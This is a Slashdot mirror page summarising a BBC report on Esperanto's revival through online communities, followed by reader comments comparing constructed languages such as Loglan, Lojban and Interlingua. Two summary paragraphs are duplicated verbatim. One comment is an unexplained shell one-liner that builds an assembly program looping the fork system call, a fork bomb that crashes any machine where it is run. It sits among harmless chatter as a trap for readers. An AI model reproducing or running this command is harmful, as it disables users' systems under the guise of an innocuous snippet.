Slashdot Mirror
The Invented Language That Found a Second Life Online (bbc.com)
More than 100 years after it was invented, Esperanto is spoken by relatively few people. But the internet has brought new life to this intriguing, invented language. From a report: Since it [Esperanto] was first proposed in a small booklet written by Ludwik L Zamenhof in 1887, it has evolved into the quintessential invented language, the liveliest and most popular ever created. But, many would tell you, Esperanto is a failure. More than a century after it was created, its current speaker base is just some two million people -- a geeky niche, not unlike the fan base of any other obscure hobby.
[...] Learning Esperanto used to be a solitary quest. You could practise it by sitting for weeks with a book and a dictionary, figuring out the rules and memorising the words. But there was usually no professor to correct your mistakes or polish your pronunciation. That's how Anna Lowenstein taught herself Esperanto in her teenage years, after becoming frustrated with the oddities of the French she was learning in school. In the last page of her textbook, there was an address for the British Esperanto Association. She sent a letter, and some time later was invited to a meeting of young speakers in St Albans.
The global community that Lowenstein was joining was put together via snail mail, paper magazines and yearly meetings. [...] Newer generations are not as patient, and they don't have to be. Unlike most of their elders, who rarely had the chance to speak Esperanto, today's speakers can use the language every day online. Even old computer communication services like Usenet had Esperanto-speaking hubs, and a lot of pages and chat rooms sprouted in the early days of the Web. Today, the younger segment of the Esperantio is keen on using social media: they gather around several groups in Facebook and Telegram, a chat service.
[...] Learning Esperanto used to be a solitary quest. You could practise it by sitting for weeks with a book and a dictionary, figuring out the rules and memorising the words. But there was usually no professor to correct your mistakes or polish your pronunciation. That's how Anna Lowenstein taught herself Esperanto in her teenage years, after becoming frustrated with the oddities of the French she was learning in school. In the last page of her textbook, there was an address for the British Esperanto Association. She sent a letter, and some time later was invited to a meeting of young speakers in St Albans.
The global community that Lowenstein was joining was put together via snail mail, paper magazines and yearly meetings. [...] Newer generations are not as patient, and they don't have to be. Unlike most of their elders, who rarely had the chance to speak Esperanto, today's speakers can use the language every day online. Even old computer communication services like Usenet had Esperanto-speaking hubs, and a lot of pages and chat rooms sprouted in the early days of the Web. Today, the younger segment of the Esperantio is keen on using social media: they gather around several groups in Facebook and Telegram, a chat service.
Taking different a bit of all languages (from this, the roots; from that, some alphabet chars, from those, some cyrillic chars; from that, some verbal conjugation; from that other language, the sentence structure, etc.) so all people can find something "familiar" in the language just to maximize the popularity... ...and mixing it, ignoring the BASIS of any language evolution (to SIMPLIFICATION), makes Esperanto the epitome of failure.
Learning a third language is easier when you know a second language. Hungarian kids somehow learn Esperanto and then English like 40% faster if they learn English only to the same eventual English fluency.
Go figure.
Support my political activism on Patreon.
We need to force everyone to speak LOGLAN so that fiercely logical LOGLAN soldiers can conquer the world, then the galaxy and finally the universe.
LOGLAN is like metric but applied to your mind.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
You've also described German (for the most part). It's not 100% perfect, but they have a council (the RdR) that continues to scrub out weird historical spellings. Every year they get closer to perfect.
It is very much a romance based language.. That bias is likely one of the reasons why it never caught on. If you know Spanish, you have no use for Esperanto, and if you don't, you're better off learning Spanish.
Also, like Volapük before it, relying on letters that are not standard in any alphabets is a very big obstacle.
Lojban addresses that, as well as avoiding the ambiguity that many artificial languages (and perhaps especially Esperanto) suffers from, but it arrived too late - English has already become the de facto trade language, taking over from Spanish and Portuguese, and there's little need to learn Yet Another language.
Interlingua is one of Esperanto's competitors. It resembles a simplified modern spoken latin and is very useful for scientific communication. It is said that interlingua can be understood relatively well by most speakers of european languages, although the reverse is not necessarily true.
https://en.wikipedia.org/wiki/...
It is a good language to study just to learn the word roots which have high cognates with other modern languages.
Clickety Click